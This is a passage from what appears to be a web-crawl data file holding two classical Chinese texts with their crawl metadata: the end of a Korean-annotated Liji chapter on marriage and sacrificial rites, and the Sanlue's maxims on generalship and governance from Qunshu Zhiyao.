차려놓다(多膳),착하다(善),지극하다(至極)]\n25-2. 男子이 親迎[去聲]호대 男先[去聲]於女는 剛柔之義也니 天先乎地하며 君先乎臣이 其義一也라. 執摯以相見은 敬章別也니 男女이 有別한 然後에야 父子이 親하며 父子이 親한 然後에야 義生하며 義生한 然後에야 禮作하며 禮作한 然後에야 萬物이 安하나니 無別無義는 禽獸之道也라.[604]\n先은 謂,倡道之也요, 執摯은 奠雁也요, 行敬以明其有別이라. 故,云,敬章別也니 有別則,一本而父子親하며 親親之殺則,義生禮作而萬物이 各得其所矣라. 禽獸는 知有母而不知有父는 無別故也라.\n[馬氏曰男子親迎而男先於女者剛先於柔之意也豈獨昏姻之際如此至於天地君臣其義一也天則造始而地則代終君主乎倡而臣主乎和摯者交接之際所以致敬人之私褻莫甚於衽席之上男女之際不可不正故執摯相見所以敬章別也父子相親出於天性自然而曰男女有別然後父子親何也蓋男女無別於內則夫婦之道喪而淫辟之罪多雖父子之親亦不可得而親之也男女有別然後父子有相親之恩父子有相親之恩則必有相親之義故義生焉非特父子之親如此推而至於朋友兄弟君臣上下之際皆有義則粲然有文以相接故曰義生然後禮作禮作而貴賤有等上下有分此萬物所以安也自父子相親推而至於萬物安皆起於男女有別則衽席之上不可以不戒也哀公問政孔子曰夫婦別父子親君臣嚴三者正則庶物從之矣與此同意]\n[○嚴陵方氏曰禽獸有牝牡之合而無內外之別有生育之愛而無上下之義故曰無別無義禽獸之道也]\n[辟:임금,법,徵,남편제,편벽,開,물리치다][僻:후미지다.치우치다.간사하다][粲:정미찬,곱다,밝다][衽옷깃임,요임][牝:암컷빈][牡:수컷모]\n25-3. 壻이 親御授綏는 親之也니 親之也者는 親之也라. 敬而親之는 先王之所以得天下也라. 出乎大門而先[去聲]男帥女요, 女이 從男하나니 夫婦之義이 由此로 始也니라. 婦人은 從人者也니 幼從父兄하고 嫁從夫하고 夫死이어든 從子하나니 夫也者는 夫也니 夫也者는 以知[去聲]帥人者也라.[607]\n親御婦車而授之綏는 是親愛之義也니 親之는 乃可使之親己이라. 故,曰 親之也者는 親之也라. 太王이 爰及姜女하시고 文王이 親迎于渭는 皆是敬而親之之道이 以至於有天下라. 故,曰 先王之所以得天下也라. 大門은 女家之門也니 先壻車在前也요, 女從男은 婦車隨之也라. 夫也者는 丈夫也니 丈夫者는 以才智帥人者也라.\n[嚴陵方氏曰親御授綏固所以親之然必親迎親御亦所以敬之也敬所以爲義親所以爲仁先王之所以得天下者仁義而已]\n[○馬氏曰夫主於義故有所帥無所從婦主於聽故有所從無所帥夫婦之道其大槩不出於此故出乎大門而先男帥女女從男夫婦之端基之於此也婦者恒其德者也有三從之義無一違之禮故幼從父兄嫁從夫夫死從子夫者制義者也制人而不制於人故曰知帥人者也知帥人則非所謂不恒其德而從婦凶也]\n25-4. 玄冕齊戒는 鬼神陰陽也라. 將以爲社禝主며 爲先祖後니 而可以不致敬乎아.[608]\n服玄冕而致齊戒는 是事鬼神之道니 鬼者는 陰之靈이요, 神者는 陽之靈이라. 故,曰 鬼神陰陽也라. 今昏禮者이 蓋將以主社稷之祭祀며 承先祖之宗廟也니 可不以敬社稷與先祖之禮로 敬之而玄冕齊戒乎아.\n[嚴陵方氏曰以交鬼神之道而施諸陰陽之配固所以致敬也社稷主者夫爲主於外婦爲主於內故也此則主有土者言之先祖後者有夫有婦然後可以傳世而後其先也此則通天下言之]\n25-5. 共牢而食은 同尊卑也니 故로 婦人은 無爵이라. 從夫之爵하며 坐以夫之齒하나니라. 器用陶匏는 尙禮然也니 三王이 作牢하시되 用陶匏하시니라. 厥明에 婦이 盥饋하나니 舅姑이 卒[子恤反]食이어든 婦이 餕[俊]餘는 私之也라. 舅姑이 降自西階어든 婦이 降自阼階는 授之室也라. 昏禮에 不用樂은 幽陰之義也니 樂은 陽氣也니라. 昏禮에 不賀는 人之序也라.[609]\n牢는 俎也요, 尙禮然은 謂古來所尙之禮이 如此라. 共牢之禮는 雖三王所作而俎之外에 器用은 皆如古者之用陶匏하니 重夫婦之始也라. 厥明은 昏禮之明日也요, 盥饋는 盥潔而饋食也요, 人之序는 謂相承代之次序也라.\n[嚴陵方氏曰夫尊則婦亦尊夫卑則婦亦卑故曰同尊卑尊卑同故爵齒亦從夫而已以爵齒各有尊卑故也盥所以致其潔饋所以致其養以舅姑之尊而降自賓階以婦之卑而降自主人之階者示授之室而爲之主男以女爲室故以室主之又曰昏姻之禮在子則有代父之序在婦則有代姑之序所以不賀則一也孔子曰取婦之家三日不擧樂思嗣親也彼言思嗣親此言幽陰之義者蓋有所思者固欲其幽陰也經云齋之玄也以陰幽思也是矣然曲禮言賀取妻賀其有客而已故其辭曰閒子有客使某羞]\n[○長樂陳氏曰樂由陽來而聲爲陽氣禮由陰作而昏爲陰義故周官大司徒以陰禮敎親則民不怨然則昏之爲禮其陰禮歟古之制禮者不以吉禮干凶禮不以陽事干陰事則昏禮不用樂幽陰之義也昔裴嘉有昏會酒中而作樂薛方士非之可謂知其義矣][裴:배회할배,긴 옷 치렁치렁][薛:맑은대쑬,향부자,國名,姓]\n26. 有虞氏之祭也는 尙用氣하더니 血腥爓祭는 用氣也라.[611-1]\n尙用氣는 以用氣爲尙也니 初以血로 詔神於室하고 次薦腥肉於堂하고 爓次腥은 亦薦於堂하니 皆未熟이라. 故,云 用氣라. 此以下至篇末이 皆言祭禮라.\n[嚴陵方氏曰血腥爓三者皆氣而已未嘗致味故曰用氣然爓之氣不若腥之全腥之氣不若血之幽故其序如此][爓:아궁이섬,데치다(沈肉于湯)]\n27-1. 殷人은 尙聲하야 臭味이 未成이어든 滌蕩其聲하야 樂三闋커든 然後에야 出迎牲하나니 聲音之號를 所以詔告於天地之間也라.[611-2]\n牲未殺則,未有臭味라. 故,云 臭味未成이요, 滌蕩은 宣播之意라. 鬼神이 在天地間하야 與陰陽合散으로 同一理而聲音之感은 無間顯幽라. 故,殷人之祭에 必先作樂하야 三終然後에 出而迎牲於廟門之外하니 此是欲以此樂之聲音으로 號呼而詔告於兩間하야 庶幾其聞之而來格來享也라. 殷人은 先求諸陽하니 凡聲은 陽也라.\n[嚴陵方氏曰殷人尙聲者以其自樂始故也臭未成以其未用鬯故也味未成以其未用牲故也樂之有聲蓋出於虛滌蕩之則存乎其人而已樂三闋者以陽成於三故也三闋則樂成矣然後出迎牲所以爲尙聲歟聲者樂之象音者聲之文聲音之號雖以求陽爲先然詔告於天地之間則凡在陰陽之間者無不求也]\n[臭:취][滌:척][蕩질펀하다,방탕,편탄,소탕][播뿌릴팔 베풀다,까불다][鬯:술이름창][闋:쉴결]\n27-2. 周人은 尙臭하야 灌用鬯臭하더니 鬱合鬯하야 臭陰達於淵泉하더니 灌以圭璋은 用玉氣也니 旣灌然後에 迎牲은 致陰氣也라.[612]\n周人은 尙氣臭하야 而祭에 必先求諸陰이라. 故,牲之未殺에 先酌鬯酒하야 灌地以求神이니 以鬯之有芳氣也라. 故,曰灌用鬯臭하고, 又搗鬱金香草之汁하야 和合鬯酒하야 使香氣滋甚이라. 故,云 鬱合鬯也라. 以臭而求諸陰에 其臭이 下達於淵泉矣요, 灌之禮는 以圭璋爲瓚之柄하야 用玉之氣하니 亦是尙臭也요, 灌後에 乃迎牲하니 是欲先致氣於陰하야 以求神이라. 故,云 致陰氣也라. ○石梁王氏이 曰, 四臭字이 本皆句絶이라. 然,細別之하면 鬯灌之地에 此이 臭之陰者也요, 蕭焫上達은 此이 臭之陽者也라. 亦有義하니 姑從釋文이라.\n[璋:반쪽서옥장,아들][搗:찧을도][滋:불어날자,맛,진약,북돋움][蕭:맑은쑥소,쓸쓸하다][焫:불살을열][闋:쉴결,다하다.마치다.闋服,闋制:삼년상을 마침]\n27-3. 蕭合黍稷하야 臭陽達於墻[牆]屋하나니 故로 旣奠然後에 焫[如悅反]蕭合羶[馨]薌[香]이니 凡祭에 愼諸此이니라.[614]\n蕭은 香蒿也니 取此蒿及牲之脂膋하야 合黍稷而燒之하야 使其氣로 旁達於牆屋之間하니 是는 以臭而求諸陽也라. 此是周人이 後求諸陽之禮라. 旣奠은 謂薦孰之時니 盖堂上事尸禮이 畢에 延尸於戶內而薦之孰할새 祝이 先酌酒하야 奠於鉶羹之南而尸猶未入에 蕭脂黍稷之燒이 正此時也라. 馨香은 卽黍稷也라. 旣奠以下는 是明上文焫蕭之時요, 非는 再焫也此是天子諸侯之禮요, 非大夫士禮也이니라.\n[延平周氏曰有虞氏尙氣殷人尙聲周人尙臭者皆以宗廟之祭言之也至於天地之祭則天以升煙爲主地以薦血爲主者百王之所不易也所謂尙氣者凡血告於室腥爓薦於堂有虞氏則血與腥爓皆以爲祭是故爲尙氣也所謂尙聲者先作樂以求諸陽然後迎牲所謂尙臭者先灌以求諸陰然後迎牲然則有虞氏之尙氣者亦求諸陰陽之間而已矣]\n[○馬氏曰有虞氏之意以謂鬼神之所享在於敬而不在於味敬之所至則味有所遺故祭以血腥爲始記曰血祭盛氣也又曰郊血大饗腥三獻爓一獻孰皆不敢用褻味而貴氣也有虞氏之尙氣殷人從而文之故尙聲樂由陽來則凡聲皆陽也蓋人之死也魂氣歸於天非求諸陽不足以報其魂也殷人尙聲所以迎其魂之來也臭味未成滌蕩其聲樂三闋後然出迎牲此擧其尙聲之時也聲音之號所以詔告於天地之間此擧其尙聲之意也鬼神處於天地之間而不可度聲音之號所以詔告之而已殷旣尙聲周人從而文之故尙臭臭氣也而氣有陰陽之別周人尙臭灌用鬯臭所以致陰氣也灌者禮之始而敬之至者也傳曰禘自旣灌而往者吾不欲觀之矣又曰觀盥而不薦推此足以知周尙臭之意也鬯者以秬黍合鬱草而爲之旣成然後和之以鬱金之汁蓋人之死也形魄歸于地非求諸陰不足以格其神也故臭陰達於淵泉先求諸陰也灌以圭璋用玉氣此擧其尙臭之意也旣灌然後出迎牲致陰氣此擧其尙臭之時也迎牲在於祭之始而旣灌之後然後出迎牲而殺之是所以尙臭也臭陰達於淵泉以下之深者言之也臭陽達於牆屋以宗廟之所有言之也蓋魂魄具然後爲人以周人旣以求諸陰又以求諸陽言之則知有虞氏之用氣非不用味也殷人先求諸陽非不求諸陰也謂之尙氣謂之尙聲謂之尙臭皆以始言之而其意各有主也][腥:날고기성][爓:아궁이섬,데차다.불빛염][秬;검은기장거][薌:곡기향,향기향,香同][蒿:다북쑥호.蒸出貌][膋:腸間脂肪료][馨:향내날형]\n27-4. 魂氣는 歸于天하고 形魄은 歸于地하나니 故로 祭는 求諸陰陽之義也니라. 殷人은 先求諸陽하고 周人은 先求諸陰하니 詔祝於室하며 坐尸於堂하며 用牲於庭하며 升首於室하야 直祭에 祝于主하고 索祭에 祝于祊은 不知神之所在이 於彼乎아 於此乎아 或諸遠[去聲]人乎애니 祭于祊은 尙曰求諸遠者與인져.[617]\n詔는 告也니 詔祝於室은 謂天子諸侯之祭이 朝事之時에 祝이 取牲之膟膋하야 燎於爐炭而入告神於室也요, 坐尸於堂者는 灌鬯之後에 尸坐戶西南面也요, 用牲於庭은 謂殺牲也요, 升首於室은 升牲之首也요, 直祭는 正祭也라. 祭以薦孰爲正이라. 正祭之時에 祝官이 以祝辭로 告於神主하니 如云 薦歲事于皇祖伯,某甫이 是也라. 索은 求也니 求索其神靈而祭之則,祝官이 行祭于祊也니 祊有二하니 一是正祭時에 設祭于廟하고 又求神於廟門之內而祭之라. 詩云 祝祭于祊이라하니 此則,與祭同日이요, 一是明日繹祭이니 祭於廟門之外也라. 於彼於此는 言,神이 在於彼室乎아. 在於此堂乎아. 或諸遠人者는 或遠離於人而不在廟乎아. 尙은 庶幾也이니 祭于祊은 庶幾可求之於遠處乎인저.\n[嚴陵方氏曰詔祝於室卽毛血詔於室坐尸於堂卽羹定詔於堂用牲於庭卽納牲詔於庭納之將以用焉故言用升首於室卽升首報陽若羊人祭祀割牲登其首直祭祝于主凡室事是也索祭祝于祊凡門事是也索卽求之不曰求而曰索者以神之散無不之也彼此之間不過近人而已又疑神之遠人然不可舍是以他求也以祊在廟前之旁猶爲遠而已故復祭于祊而繼之以尙曰求諸遠者與夫廟門之旁豈實爲遠人乎故以尙言之][祊:문안제(門內祭祖),사당문제사(廟門祭神)]\n27-5. 祊之爲言은 倞[諒]也요, 肵[祈]之爲言은 敬也요, 富也者는 福也요, 首也者는 直也요 相[去聲]은 饗之也요. 嘏는 長也며 大也요, 尸는 陳也요, 毛血은 告幽全之物也니 告幽全之物者는 貴純之道也라.[619]\n倞은 遠也니 承上文求諸遠者而言이라. 尸有肵俎하니 是 主人이 敬尸之俎也라. 人君嘏辭에 有富以福,言也라. 牲體에 首在前하니 升首而祭는 取其與神坐相直也라. 相詔侑也니 所以詔侑於尸하야 欲其享此饌也요, 尸使祝으로 致嘏辭於主人에 嘏有長久廣大之義也라. 尸는 神象이니 當爲主之義이어늘 今以訓陳하니 記者誤耳라. 殺牲之時에 先以毛及血로 告神者는 血在內하니 是이 告其幽요, 毛在外하니 是이 告其全也요, 貴純者는 貴其表裏皆善也라.\n[嚴陵方氏曰福而有嘏之義中庸言大德之得祿壽以得其壽故長以得其祿故大故曰嘏長也大也且壽祿爲五福之先故必以長大言之天保曰降爾遐福此福所謂長也楚茨曰以介景福此福所謂大也]\n[祊:문안제팽,사당문데사][倞:굳셀경][諒:믿을량,살필량][肵시동이먹는도마기.공경근][嘏:클하,복하,굳다,멀다][純:순수순,묶을돈,선두를준,검을치][侑:권할유,돕다,짝,용서][詔:조서][庸쓸][茨:집이을자]\n27-6. 血祭는 盛氣也요, 祭肺肝心은 貴氣主也요, 祭黍稷에 加肺하며 祭齊[去聲]에 加明水는 報陰也요, 取膟[律]膋[僚]하야 燔[煩]燎하며 升首는 報陽也요, 明水涚[稅]齊[去聲]는 貴新也니 凡涗는 新之也라. 其謂之明水也는 由主人之潔著此水也라.[620]\n有血有氣는 乃爲生物이니 血은 由氣以滋하니 死則,氣盡而血亦枯矣라. 故,血祭者는 所以表其氣之盛也요, 肺肝心은 皆氣之所舍라. 故,云 氣主이니 周祭肺하고, 殷祭肝하고 夏祭心也요, 祭黍稷加肺者는 謂尸隋祭之時에 以黍稷兼肺而祭也요, 祭齊加明水는 謂,尸正祭之時에 陳列五齊之尊하고, 又加明水之尊也라. 祖考形魄이 歸地하니 屬陰而肺於五行에 屬金하니 金水는 陰也라. 故,加肺加明水하니 是는 以陰物而報陰靈也라. 膟膋은 腸間脂也니 先燔燎于爐하야 至薦孰則,合蕭與黍稷燒之하니 黍稷陽也요, 牲首는 亦陽體니 魂氣歸天하니 爲陽이라. 此는 以陽物로 報陽靈也요, 明水는 陰鑑所取月中之水요, 涗은 猶淸也니 泲漉五齊而使之淸이라. 故,云 涗齊라. 所以設明水及涗齊者는 貴其新潔也니 凡涗新之也이니 專主涗齊而言이라. 故,下文又釋明水之義하니라. 絜著는 潔淨而明著也니 自月而生이라. 故,謂之明이라. 周禮五齊에 一은 泛齊요, 二는 醴齊요, 三은 盎齊요, 四는 緹齊요, 五는 沈齊라.\n[嚴陵方氏曰血腥爓祭用氣也然腥爓之氣不若血之幽氣聚於幽而散於明聚則盛矣故曰血祭盛氣也肺則金氣之所主也肝心木火氣之所主也獨言三者則以三代之所用者言之故也黍稷地産皆陰類也燔燎之火則司烜氏所取於日者也首者陽之體升者陽之事皆陽類也凡此皆取而祭之也上言祭下言取互相備爾前曰求此曰報何也求主乎人之情報主乎物之理]\n[○延平周氏曰周官司尊彛之職謂鬱齊獻酌醴齊縮酌及盎齊涗酌以五齊淸濁次之則泛齊醴齊同用縮酌而緹齊沈齊與盎齊同用涗酌此言明水涗齊蓋自盎而下三齊也涗者以水而和之解之也和解之則新矣貴新故不嫌於味之薄也]\n[膟:腸間脂肪률][膋:腸間脂肪료][燔:제육번,불사를번][燎:화톳불료][涗:잿물세][燒:불사를소][泲:건널제,濟同][漉:거를록,스밀록][盎:동이앙][緹:붉은비단제,붉은빛제][腥날고기성,비릴성][爓:아궁이섬,데칠섬]\n27-7. 君이 再拜稽首하고 肉袒親割은 敬之至也라. 敬之至也는 服也니 拜는 服也요, 稽首는 服之甚也요, 肉袒은 服之盡也라. 祭稱孝孫孝子는 以其義로 稱也요, 稱曾孫某는 謂國家也라. 祭祀之相[去聲]은 主人이 自致其敬하며 盡其嘉이니 而無與讓也이니라.[623]\n服者는 服順於親也니 拜服也는 謂再拜是服順也요, 稽首는 爲服順之甚이요, 肉袒은 爲服順之盡이니, 言,服順之誠이 在內하고 今又肉袒則,內外이 皆服矣라. 故,云 服之盡이라. 祭主於孝하니 士之祭에 稱孝孫孝子는 是는 以祭之義로 爲稱也라. 諸侯는 有國하고 卿大夫有家하니 不但祭祖與禰而已니라. 其祭이 自曾祖以上이 惟稱曾孫이라. 故,云 稱曾孫某는 謂國家也라. 蓋大夫는 三廟이니 得事曾祖也요, 上士는 二廟이니 事祖禰요, 中下士는 一廟이니 祖禰共之라. 相은 詔侑於尸也니 相者이 不告尸以讓은 蓋是主人이 敬尸하야 自致其誠敬하며 盡其嘉善하야 無所與讓也라.\n[延平周氏曰以天子不可屈之勢而爲之稽首肉袒則天下莫不知有尊而亦莫不知有親也蓋先王設敎之意常寓於甚微之間]\n[○山陰陸氏曰凡祭稽首不必肉袒肉袒不必稽首兼之者此歟 蓋朝踐以前以素爲貴父子之事多饋食以後以文爲貴君臣之事多服臣之事也 非子之事也]\n[○嚴陵方氏曰稱曾孫某者名之也於曾孫曰某則孝孫孝子從可知矣然其序先孫而後子者對祖禰稱之故也]\n27-8. 腥肆[剔]爓腍[而審反]을 祭는 豈知神之所饗也리오. 主人이 自盡其敬而已矣니라. 擧斚角하고 詔妥尸하나니 古者에 尸無事則立하고 有事而后에야 坐也하나니 尸는 神象也요. 祝은 將命也니라.[625]\n祭之爲禮이 或進腥體하며 或薦解剔하며 或進湯沈하며 或薦煮孰은 豈知神果何所享乎아. 主人이 不過盡其敬心而已耳라. 斚與角은 皆爵名이라. 詔는 告也요, 妥는 安也니 尸始卽席에 擧斚角之時에 祝이 告主人하야 拜尸以妥安其坐라. 前篇에 言,夏立尸而卒祭하니 此言,古者는 蓋指夏時也라. 夏之禮에 尸無事則立하니 有飮食之事然後에 得坐也라. 尸는 所以象所祭者라. 故,曰 神象이라. 爲祝者이 先以主人之辭로 告神하고 後以神之辭로 嘏主人이라. 故,曰 將命이라.\n[嚴陵方氏曰凡牲解而生之之謂腥體而陳之之謂肆爚而未腍之謂燜孰而爲殽之謂腍詔妥尸卽士虞禮所謂主人及祝拜妥尸尸拜遂坐是矣蓋尸於主人則子行也以卑臨尊嫌或不安焉爲是詔之也詩言以妥以侑是矣必於時乃詔之者以尸始入擧奠故也尸於無事之時則子行而已子行爲卑故立至於有事之時則神象也神象爲尊故坐有事謂若擧斚角之類也]\n[爚:불똥튀약.散][腍:익힐임][燜:아궁이섬][殽:섞일효,어지럽다,마른안주][斚:옥잔가.斝의俗字][詔妥:온당히고함]\n27-9. 縮酌用茅는 明酌也니라.[627-1]\n縮은 泲也요, 酌은 斟酌也니 謂醴齊를 濁泲而後에 可斟酌이라. 故,云 縮酌也요, 用茅者는 以茅로 覆藉而泲之也라. 周禮三酒에 一曰事酒요, 二曰昔酒요, 三曰淸酒니, 事酒는 爲事而新作者니 其色이 淸明하야 謂之明酌이라. 言,欲泲醴齊則,先用此明酌하야 和之然後에 用茅以泲之也라.\n27-10. 醆[側眼反]酒를 涗于淸하고 汁獻[莎]을 涗于醆酒하나니.[627-2]\n醆酒는 盎齊也요, 涗는 泲也요, 淸은 謂淸酒也니 淸酒는 冬釀接夏而成하고, 盎齊는 差淸하니, 先和以淸酒而後에 泲之라. 故,云 醆酒요, 涗于淸은 以其差淸이라. 故,不用茅也요, 汁獻은 謂摩挲秬鬯及鬱金之汁也니 秬鬯中에 有煮鬱하고, 又和以盎齊하야 摩挲而泲之하야 出其香汁이라. 故,云 汁獻을 涗于醆酒也라. ○疏에 曰 以事酒로 泲醴齊하고 淸酒로 泲盎齊라하니 今泲秬鬯에 乃用盎齊而不以三酒者는 五齊는 卑라. 故,用三酒泲之하고 秬鬯은 尊이라. 故,用五齊泲之也라.\n[醆:술잔잔,덜가라않힌술][涗:잿물세,미지근,맑다][釀:술빚을양][挲:抄同:간략히할초,베낄초][秬:검은기장거][煮:삶을자]\n27-11. 猶明淸與醆酒于舊澤[亦]之酒也니라.[628]\n上文所泲三者之酒는 皆天子諸侯之禮니 作記之時는 此禮이 已廢하야 人不能知其法이라. 故,言此하야 以曉之曰 泲醴齊以明酌하고 泲醆酒以淸酒하고 泲汁獻以醆酒者는 卽如今時明淸醆酒를 泲于舊醳之酒也라. 猶는 若也요, 舊는 謂陳久也요, 澤은 讀爲醳하니 醳者는 和醳醴釀之名이니 後世에 謂之醳酒라.\n[嚴陵方氏曰醴齊必縮之者以其尤濁故必縮去其滓也醆酒不若醴齊之濁故以淸酒涗之而已汁獻尤不若醴齊之濁故以醆酒涗之而已齊酒不止於此三者以祼事用鬱齊朝事用醴齊饋食用盎齊尊彛之所實宗廟之所用常祀不過於此故指是言之此皆古禮後世以舊澤之酒涗淸酒醆酒其理則同]\n[○山陰陸氏曰縮酌醴齊也以茅縮之而後酌醆酒盎齊也以挹之在醆故謂之醆酒以涗之在盎故謂之盎齊知然者以宗婦執盎從夫人薦涗水知之也且方涗之以水是齊而已凡盎言齊以此及涗於淸然後謂之醆酒汁獻鬯齊也謂之汁汁陰陽之和也月令曰天時雨汁][祼:강신관.灌과通字][挹:당길읍.잔질,누를읍]\n27-12. 祭이 有祈焉하고 有報焉하며 有由辟[弭]焉하니라.[630]\n此泛言祭禮이 又有此三者之例이니 如周禮所云,祈福祥,求永貞,祈年于田祖요, 詩에 言 春夏祈穀之類이 是祈也라. 報는 謂獲福而報之니 祭禮는 多是報本之義라. 由는 用也요, 辟은 讀爲弭니, 如周所謂弭災兵遠罪疾之類이니 由弭者는 用此以消弭之也라.\n[嚴陵方氏曰欲彼之有予也故有祈以求之若噫嘻祈穀于上帝載芟之祈社稷之類是也因彼之有施也故有報以反之若豊年之秋冬報良耜之秋報社稷是也]\n[○延平周氏曰祈也執也人情之所不能免者聖人有以節文之也]\n[弭:활고자미,쉬다,그치다,편안하다][耜:보습사]\n27-13. 齊之玄也는 以陰幽思也니 故로 君子이 三日齊하야 必見其所祭者니라.[631]\n齊而玄冠玄衣는 順鬼神幽黯之意요, 且以致其陰幽之思也라. 見其所祭之親은 精誠之感也라.\n[嚴陵方氏曰凡物之理陰則靜陽則動幽則深淺則明天機之動不足以守靜天機之淺不足以極深而哀樂欲惡貳其心矣豈足以致其思哉故必貴乎以陰幽也君子之服象其德齊之服其色若是豈不宜哉故君子三日齊必見其所祭者以其靜而深故也爲神而齊必見其所祭之神爲鬼而齊必見其所祭之鬼]","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/11-kyotkseong.htm","date":"2019-02-19T18:52:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247491141.23\/warc\/CC-MAIN-20190219183054-20190219205054-00553.warc.gz","language":"lzh","language_score":0.4737661183,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.47376611828804016, \"cmn_Hani_score\": 0.2416590303182602, \"kor_Hang_score\": 0.1988142430782318, \"jpn_Jpan_score\": 0.06016870588064194}","num_words":3045,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.474,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"三 略\n群書治要卷四十\n夫主將之法。務在於攬英雄之心。攬。結也。賞禄有功。通志於衆。凡爲人主。患在驕志。盈不通下。故誡也。故與衆同好。靡不成。與衆同惡靡不傾。治國安家。得人者也。人謂賢人也。伊尹赴而湯隆。寧戚到而齊興。亡國破家。失人者也。微子去而殷滅。伍員奔而楚亡。是以明君賢臣。屈己而申人。\n夫用兵之要。在於崇禮而重禄。禮崇則智士至。禄重則義士輕其死。故禄賢不愛財。賞功不逾時。則下力并。而敵國削矣。用人之道。尊之以爵。贍之以財。則士自來。易曰。何以聚人。曰財。接之以禮。厲之以辭。崇接士之禮。厲士以見危授命之辭。則士死之。\n夫將師者。必與士卒同滋味而共安危。敵乃可加。養士如此。乃可加兵於敵也。昔者良將之用兵也。人有饋一簞醪者。使投諸河。與士卒同流而飲之。夫一簞之醪。不能味一河之水。而三軍之士。思爲致死者。以滋味之及己也。\n軍井未達。將不言渴。達。徹也。軍幕未辦。將不言倦。冬不服裘。夏不操扇。與衆同也。是謂禮將。是謂達禮之將。與之安。與之危。故其衆可合而不可離。將與士同禍福。共安危。衆如一體而不可離也。可用而不可疲。不疲者以主恩養素積。策謀和同也。故曰。畜恩不倦。以一取萬。夫恩以接下。則士歸之。養一人可以致萬人。燕養郭隗以致樂毅是也。良將之統軍也。恕己而治人。推惠施恩。士力日新。推此之樂惠而施恩於人。皆忠恕之道。將士用力。故日益新。戰如風發。攻如河决。故其衆可望而不可當。可下而不可勝。以身先人。故兵爲天下雄。賞罰明。則將威行。官人得。則士卒服。所任賢。則敵國振。所得賢。則敵國畏威而振怖也。賢者所適。其前無敵。故士可下而不可驕。將者國之命。將能制勝。國家安定。將拒諫則英雄散。策不從。則謀士叛。善惡同。則功臣倦。將專己。則下歸咎。將自臧。則下少功。臧。善也。將受讒。則下有離心。將貪財。則奸不禁。上貪則下盗也。將内顧。則士卒慕。内顧思妻妾也。將有一則衆不服。自拒諫以下。將犯此一條。則衆不服。以其違主道。有二則軍無式。式。法也。有三則軍乖背。有四則禍及國。衆乖散則國亡。故曰禍及國也。軍無財則士不來。軍無賞則士不往。香餌之下。必有懸魚。重賞之下。必有勇夫。故禮者。士之所歸。賞者。士之所死。招其所歸。示其所死。則所求者至。求賢材士至。求戰則致死。故曰所求者至。故禮而後悔者。則士不止。賞而後悔者。則士不使。禮賞不倦。則士争死矣。\n奸雄相稱。鄣蔽主明。毁譽并興。雍塞主聽。各阿所私。令主失忠。故主察异言。乃睹其萌。主聘儒賢。奸雄乃遁。主任舊齒。萬事乃理。主聘岩穴。士乃得實。故傅説陟而殷道興。四皓至而漢祚長。得治之實也。\n軍勢曰。出軍行師。將不得專(將不得專作將在自專)進退由内御之。則功難成。凡師出專制。不禀命於内。禀命則無威。無威則士不用命。士不用命則功不成。\n夫能扶天下之危者。則據天下之安。能持天下之危。故天下樂安之。能除天下之憂者。則享天下之樂。天下願奉而安樂之。能救天下之禍者。則得天下之福。除天下禍。故天下樂福之。故澤及人民。則賢歸之。恩澤洽。人民和。則賢者至。澤及昆蟲。則聖歸之。萬物得其所。則聖人至也。賢人所歸。則其國强。聖人所歸。則六合同。賢者之政。降人以禮(禮作體。下禮降降禮之禮及注同)。禮服道化。揖讓恭謹。故曰降人以禮者也。聖人之政。降人以心。心服教令。故降人以心也。禮降可以圖始。禮服道化者。可與謀始也。心降可以保終。心服道化。天下和親。故可保終也。降禮以禮。降心以心。\n釋近而謀遠者。勞而無功。釋遠而謀近者。逸而有終。逸政多忠臣。勞政多怨民。故曰。務廣地者荒。不修德政而務廣地。荒之道。務廣德者强也。務崇節儉。廣其德教。强之道也。荒國者無善政。廣德者其下正。君德廣於上。則兆庶正於下也。廢一善。則衆善衰。賞一惡。則衆惡多。(多作歸)善者得其佑。惡者受其誅。則國安而衆善到矣。一令逆者。則百令失。君令一逆。民不從。故百令皆廢也。一惡施者。則百惡結。一惡得施。則百惡結而相從也。故令施於順民。惡加於凶人。教令施於順化之民。刑惡加於凶逆之人。則令行而不怨。群下附親矣。教令當。刑法值。百姓悦之。親附之也。\n有清白之志者。不可以爵禄得。四皓是也。有守節之志者。不可以威刑脅。晏嬰季子是也。故明君求臣。必視其所以爲人者而致焉。視其爲人所執之志而求之也。致清白之士。修其禮。四皓亢志不屈於革命之主。太子修禮卑辭而降其節焉。致守節之士。修其道。不可以非道屈也。而後士可致。而名可保。保猶全也。\n聖王之用兵也。非好樂之。將以誅暴討亂。夫以義而誅不義。若决江河而漑熒火。臨不測而擠欲墜。其克之必也。所以必優游恬惔者何。重傷人物。兵者凶器。戰者危事。相殺傷之道。故不果爲也。是天道也。天道樂生也。夫人之有道者。若魚之有水。得水而生。失水而死。人失道而亡。得道而存也。故君人者。畏懼而不敢失道。\n賢聖内。(聖作臣。下同。)則邪臣外。舜舉皋陶。湯舉伊尹。不仁者遠矣。隨會在朝。則奸邪外奔矣。邪臣内。則賢臣斃。惡來任而比干死。無忌用而伍奢戮。故曰斃。内外失宜。禍亂傳世。苟失内外之宜。爲子孫之禍。故曰傳世也。傷賢者。殃及三世。蔽賢者。身受其害。進賢者。德流子孫。昔鮑叔進管仲。以身下之。子孫世禄於齊。有封邑者十餘世。常爲名大夫。故曰。德流子孫也。妒賢者。名不全。昔龐涓妒孫臏。身死於白木。故曰名不全也。故君子急於求(求作進。)賢。而美名章矣。\n利一害百。民去城郭。利一害萬。國乃思散。去一利百。民乃慕澤。慕思君子之恩澤也。去一利萬。政乃不亂。刑以止刑。殺以止殺。政得其所。亂無由生也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022066.html","date":"2017-04-24T03:36:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00232-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.3975205123,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.397520512342453, \"cmn_Hani_score\": 0.28612926602363586, \"nan_Hani_score\": 0.06509841233491898, \"jpn_Jpan_score\": 0.050812747329473495, 